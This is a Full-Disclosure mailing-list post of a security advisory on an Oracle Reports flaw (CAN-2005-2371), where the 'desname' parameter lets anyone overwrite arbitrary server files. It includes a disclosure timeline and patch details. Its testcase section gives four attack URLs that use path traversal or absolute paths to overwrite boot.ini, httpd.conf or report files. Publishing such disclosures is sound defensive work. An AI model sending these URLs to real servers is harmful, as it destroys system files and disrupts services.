Hello FD-Reader It took only 889 days to fix this problem. Summary and additional information concerning the Oracle January 2006 CPU is available here: http://www.red-database-security.com/advisory/oracle_cpu_jan_2006.html ########## http://www.red-database-security.com/advisory/oracle_reports_overwrite_a ny_file.html ######################################################################## # Name Overwrite any file via desname in Oracle Reports Severity High Risk Category File overwrite Vendor URL http://www.oracle.com/ Author Alexander Kornbrust (ak at red-database-security.com) Date 25 August 2005 (V 1.02) Cert VU# 472148 CVE CAN-2005-2371 Oracle Bug 5883603 Time to fix 889 days ago Details: ######## Oracle Reports is Oracle's award-winning, high-fidelity enterprise reporting tool. It enables businesses to give immediate access to information to all levels within and outside of the organization in an unrivaled scalable and secure environment. Oracle Reports, a component of the Oracle Application Server, is used by Oracle itself for the E-Business Suite. Many large customers are using Oracle Reports as reporting tool for their enterprise applications. By specifing a special value for the parameter desname Oracle Reports can overwrite any file on the application server. On Windows systems an attacker can overwrite any files (e.g. boot.ini) on the application server. On UNIX system an attacker can overwrite all files (e.g. opmn.xml) which belongs to the Oracle Application Server user. This attack can be done with a simple URL. Affected Products: ################## Internet Application Server Oracle Application Server Oracle Developer Suite Patch Information: ################## This bug is finally fixed with Critical Patch Update January 2006. Testcase: ######### Overwrite the boot.ini with the ../-syntax with PDF output (on a Windows system) http://myserver.com:7779/reports/rwservlet?server=repserv+userid=scott/t iger@iasdb+report=anyreport.rdf+destype=file+desformat=PDF+desname=../.. /../boot.ini Overwrite the boot.ini via an absolute path with PDF output (on a Windows system) http://myserver.com:7779/reports/rwservlet?server=repserv+userid=scott/t iger@iasdb+report=anyreport.rdf+destype=file+desformat=PDF+desname=c:\bo ot.ini Overwrite the file httpd.conf with PDF output (on a UNIX system) http://myserver.com:7779/reports/rwservlet?server=repserv+myconn+report= anyreport.rdf+destype=file+desformat=PDF+desname=/oracle/iasapp/Apache/A pache/conf/httpd.conf Overwrite any report (or form) with PDF output (on a UNIX system) http://myserver.com:7779/reports/rwservlet?server=repserv+myconn+report= anyreport.rdf+destype=file+desformat=PDF+desname=/oracle/iasapp/reports/ anyreport.rdf History 12-aug-2003 Oracle secalert was informed 26-sep-2003 Bug confirmed 15-apr-2005 Red-Database-Security informed Oracle secalert that this vulnerability will publish after CPU July 2005 Red-Database-Security offered Oracle more time if it is not possible to provide a fix ==> NO FEEDBACK. 12-jul-2005 Oracle published CPU July 2005 without fixing this issue 18-jul-2005 Red-Database-Security published this advisory 21-jul-2005 Cert VU# and affected products added 25-aug-2005 CVE number added 16-sep-2005 Workaround was incomplete and is now correct (Thanks to D. Nachbar for this information) 13-jan-2005 days since initial report updated 17-jan-2006 Oracle published the Critical Patch Update January 2006 (CPU January 2006) (c) 2006 by Red-Database-Security GmbH http://www.red-database-security.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/